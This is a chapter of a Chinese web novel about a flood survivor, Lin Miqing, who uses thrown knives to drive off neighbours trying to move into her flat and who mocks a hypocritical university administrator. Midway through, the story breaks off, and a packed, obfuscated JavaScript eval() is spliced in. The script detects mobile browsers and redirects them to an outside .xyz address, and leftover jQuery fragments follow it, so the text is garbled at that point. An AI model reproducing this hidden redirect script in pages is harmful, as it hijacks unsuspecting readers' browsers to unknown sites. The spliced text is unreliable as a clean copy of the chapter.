洄海眨眨眼,瞳孔迎着林弥青的目光,缓缓地从湛蓝色变成了棕褐色。
“是这样吗?”
“好了。”林弥青拍拍手,“有人问你之前的眼睛颜色,你就说之前是戴了美瞳。对了,你可以保持现在的眼睛颜色多久?”
洄海的眼睛转了转,棕褐色的眼睛很自然,道:“不出意外的话,可以一直保持……出现了意外也可以很快变回来。”
门口的人还在咣当咣当,林弥青无法再忍下去,她和洄海都持着刀,林弥青一把拉开门——
门口拍门的人发现门开时,刚露出惊喜的表情,就感到耳边一阵风袭来。
“啊!”
什么东西快速地擦过他的耳朵,耳朵边有些痛。
林弥青收回挥出去的刀。
拿着不锈钢饭盒的男人伸手去摸耳朵,有些湿意,似乎擦破了皮流了点血。
他畏惧地看了眼门口的女人,她五官秀美,神情冷淡,瞥过来的眼里带着不屑一顾的漠视。
怎么会有女人出手这么狠?
他一边不敢置信,一边暗自庆幸。
因为对方肯定留了手……这样精准的擦伤,差上一点他就没了一只耳朵。
林弥青只瞥了眼刚挥刀时被伤到的男人,她的眼睛转动,看向其他人,清晰地说:“谁再动我家的门,这刀就捅到他眼睛里。”
近距离看见刚才一幕的人心有余悸,没人敢出声惹她。
悉窸窣窣的动静里,从旁边走来一个吊儿郎当的男青年,他穿着坠着铁链铁环铁扣的皮衣,走过来的一路上叮当作响。
“哟,小妹妹还会拿刀砍人呢?你耍一个试试,让老哥我看看。”
方才看见林弥青挥刀的人里,有人对这位男青年投以复杂的目光。
哪来的街溜子,果然是不动脑子的材质。
林弥青不多说,满足对方的要求,她手腕一动,手里的刀直直地射出,朝着皮衣男青年眼睛的方向。
两人的距离很近,刀呈直线一路逼近到男人眼前。
皮衣男青年的眼睛睁大,瞳孔骤然一缩。
从看见刀飞来,瞬间他便反应过来,立刻整个人朝边上一偏,头一侧,险而又险地躲开这差点刺瞎自己眼睛的刀。
刀没如愿击中目标,挥出去的力也不足以支撑它继续飞行,刚越过方才皮衣男后脑的位置,就失了力气般直直落地。
人群里响起吸气声,皮衣男正低头看地上刀,心中一凛,用快要折断脖子的力道转过头——
一把小刀片极速飞来,用他避不开的速度,旋转着擦过他的脖颈。
1502号房门口大开,里面站着两个人,更里面的那个男人虽然身量更高壮一些,却完全不能引起旁观者的半分注意。
因为站在更前面的那个女人,用她的眼睛盯住围在门口的每一个人。
她把玩着手指间的刀片,女人冰冷的视线落点处,每一个人都感受到了被猛兽盯上的恐惧。
林弥青有时看人,眼里不带半点温度,她不知道这样的自己眼神冰冷得像捕食的野兽。
偶尔有人说她的眼神有些不把人放在眼里,她以为那是自己走神发呆的原因。
指尖紧贴着皮肤的刀片冰凉,边缘锋利,薄而尖锐的厚度非常适合用来玩耍。
可以在空中滑出不同的轨迹。
可以行至中途翻转刀身,舞出飞花般绚烂的银光。
她喜欢这种感觉。
不用担心动手会引来麻烦,微弱的反抗不能杜绝变本加厉的骚扰。
武力值是所有人都会恐惧的事物。
虽然她也有些惊讶,自己是练习过一段时间的飞刀来玩耍没错。但也有很长一段时间没再碰过它们,这次不仅没有手生,反而看起来更胜一筹。
是对空间和时间的把控力吗?
她的感官过去只有眼鼻嘴耳触觉,现在还多了对空间与时间的敏锐感知。
“唉……我错了我错了,”皮衣男青年手捂着脖子上的长长伤口,眼里闪过一丝畏惧,“是我有眼不识泰山,看轻了人,您绝对是这方面的好手。”
皮衣男青年忍着不适,从地上捡起最开始飞来的水果刀,刀尖朝着自己,将刀柄递给林弥青:“您下手这么轻,是给了我脸面,我实在是长着狗眼认不出大佬,您大人有大量,原谅我的冒犯可以吗?”
说得有些拗口,不知道是他自己想出来还是从哪里学来的。
皮衣男青年勇敢地直面林弥青投来的冷漠目光,说:“那个……您看您的刀我给您捡回来了,现在没人会再敲您家的门,我们这就走!”
林弥青掀起眼帘,正视了这个人一眼。
他看起来迫不及待地想走。
林弥青点头,接过水果刀后,扔给皮衣男一块布,淡淡道:“止血。”
皮衣男松了口气,接过这块小方布后,直接用乱皱成一团的布压住伤口。
洄海的视线从小方布和男人脸上一扫而过。
楼道口一行人走下来,看见15楼的人都围在中间这户的门口时,很是奇怪。
为首的男人四十岁上下,戴着一副无框眼镜,身上的衬衫有着褶皱,头发因为过长油腻即便打理了也显得乱糟糟。
“怎么回事?”眼镜男走过来,一眼就注意到了林弥青和受伤的皮衣男,他在心中大致判断了情况,“怎么打起来了?不是说不要动手吗?我们要以理服人,以情动人,怎么能对一个小女生动手呢?”
眼镜男人先是装模作样地斥责几句同伴,随后转身看向林弥青,他抬了抬眼镜,眼里闪过一道精光,说:“你们家是二室一厅的房型,只住了两个人是吧?”
林弥青闻到他走来时隐约传来的酸气,捂住了口鼻。
洄海更大幅度地捂住鼻子,嫌弃的情绪表达的很明显。
眼镜男像是被噎到了,他不好自己揭短,当作没看见,只说:“就算卧室你们一人住一间,客厅也就空出来浪费了,你看我们这么多人挤在楼道走廊里,走廊里还要小心飘进来的雨水,睡也睡不好。”
“现在人越来越多,甚至连个可以躺着睡觉的地方也没有了,大家甚至只能坐着站着入睡。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272200|182360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“我们都是面对洪水的受害者,这个时候大家更应该发挥群力,一起面对天灾,互帮互助,不是吗?”
见林弥青洄海二人没反应,无框眼镜男人整理了一下袖口,慢悠悠地说:“这个时候帮我们一点小忙,大家都记住了你的善心,得了你的人情。以后说不定什么时候,你遇见了困难,这份人情就起到了作用呢?”
“现在顺手帮人一把,以后别人才会顺手帮你一把,你说是不是?”
眼镜男人笑了笑,用老师诱导学生说出答案的口吻:
“给我一个面子,你看呢?”
这人很虚伪。
林弥青擅于辨认出他人真实的想法,实际上这个男人心里只怕正想着:区区小女生好对付得很,随便说说肯定心软,更何况我看起来这样让人信服等等。
她讨厌、厌恶两面派。
更讨厌道貌岸然之辈。
手痒了……
林弥青举起手中的刀,横着向前劈砍出去,刚走上前两步的眼镜男顿时后退几步,狼狈地弯下腰避开了挥来的刀。
他惊出冷汗,虽然没伤到,但如果自己慢了半拍,也许伤的不会太严重但肯定会出血。
林弥青:“任你说得天花乱坠,也改变不了这房子现在你们就是无权入住的事实。我们两个人住的好好的,为什么要放一群不知根底不知善恶的陌生人住进来?”
她慢条斯理地从口袋里扯出一块布,将刀上之前染上的血迹一点点擦干净。
“给你面子?我认识你吗大叔?你有什么脸面,你的脸可以撕下来是金子做的人人都想要?你不要脸可以扔了,没人要这种垃圾。”林弥青的目光像是探视灯,细致地在眼镜男得不到清洁而脏污的衣服头发上打转,语含讥讽:“你是南大行政楼的老师吧?”
他有些惊讶,失声问:“你怎么知道?”
他睁大眼睛,仔细地打量着林弥青,良久,才说:“你是南大的学生?”
林弥青没回答他,她刷得一下关上门,背靠在门上,脸庞紧绷着。
洄海敏锐地察觉到什么,他问:“怎么了?刚刚那个男的阿青认识他吗?他做了什么让阿青讨厌的事?”
洄海拉住她的手,脸凑上来,眉眼紧张语气恶劣,“我们可以让他掉下去,他肯定不会游水。”
林弥青绷着的脸松了筋,她一笑,眉眼松散开来,“不用这么做,一个看不清现实的废物而已。”
自有苦吃,不用多费功夫使绊子。
将人说得哑口无言还是很痛快的,她没有推人下水的想法。
之前她申请外宿时,很是费了些功夫。因为学校的行政处老师试图退回她的外宿申请,以各种理由。
林弥青只是在行政楼见过那个眼镜男人而已,他也是行政部的老师。
从气质和他方才所说的来看,的确和那位自命不凡的老师是一类人。
听着楼里其他楼层闹起的动静,只有她所在的十五层安静如鸡,林弥青满意地坐到飘窗上,顺手递给洄海果汁。
她动动手腕,示意洄海松手。